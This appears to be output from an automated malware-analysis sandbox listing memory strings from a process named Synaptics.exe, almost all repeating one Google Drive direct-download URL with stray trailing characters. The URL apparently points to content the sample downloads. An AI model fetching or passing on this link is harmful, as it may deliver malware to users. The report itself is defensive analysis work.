Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenet
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenetleniyor...
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.00000000005CB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEPb
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEQE
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984057257.000000000E8B7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF;
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFVlF
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3016366426.000000001D63F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG$
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG9
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadH
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI8
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI9
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIw
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIw#
Source: Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadIwj
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2956093270.0000000002220000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJl
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadKn8
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3070010239.000000003B051000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL8
Source: Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMTM
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadMm
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000736E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadN:
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984057257.000000000E8B7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadOG
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadOGlE
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.00000000005CB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP
Source: Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadP;
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3020449000.000000001D8B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052EC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3012495090.000000001D481000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984057257.000000000E8B7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.00000000073C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ
Source: Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQQQ
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022296271.000000001D994000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2959950848.00000000052DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000740F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3010343676.000000001D334000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR
Source: Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadR5Q
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadReJ
Source: Synaptics.exe, 00000002.00000002.2983126011.000000000E802000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2953651739.000000000060F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3011336927.000000001D423000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3014009313.000000001D570000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988243249.000000000EB20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS.xl
Source: Synaptics.exe, 00000002.00000002.2987137528.000000000EA74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS9(
Source: Synaptics.exe, 00000002.00000002.3077223915.000000003B318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSeH
Source: Synaptics.exe, 00000002.00000002.2959950848.00000000052A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2988482913.000000000EB96000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3073527986.000000003B1FC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2987137528.000000000EA94000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3009502535.000000001D2E2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3022661830.000000001DA08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3015177865.000000001D5B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2984970329.000000000E97A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2966481395.000000000748D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3021331514.000000001D91B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3069143286.000000003AF99000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.3077639547.000000003B364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT
Source: Synaptics.exe, 00000002.00000002.3083411511.000000003B54D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadTl
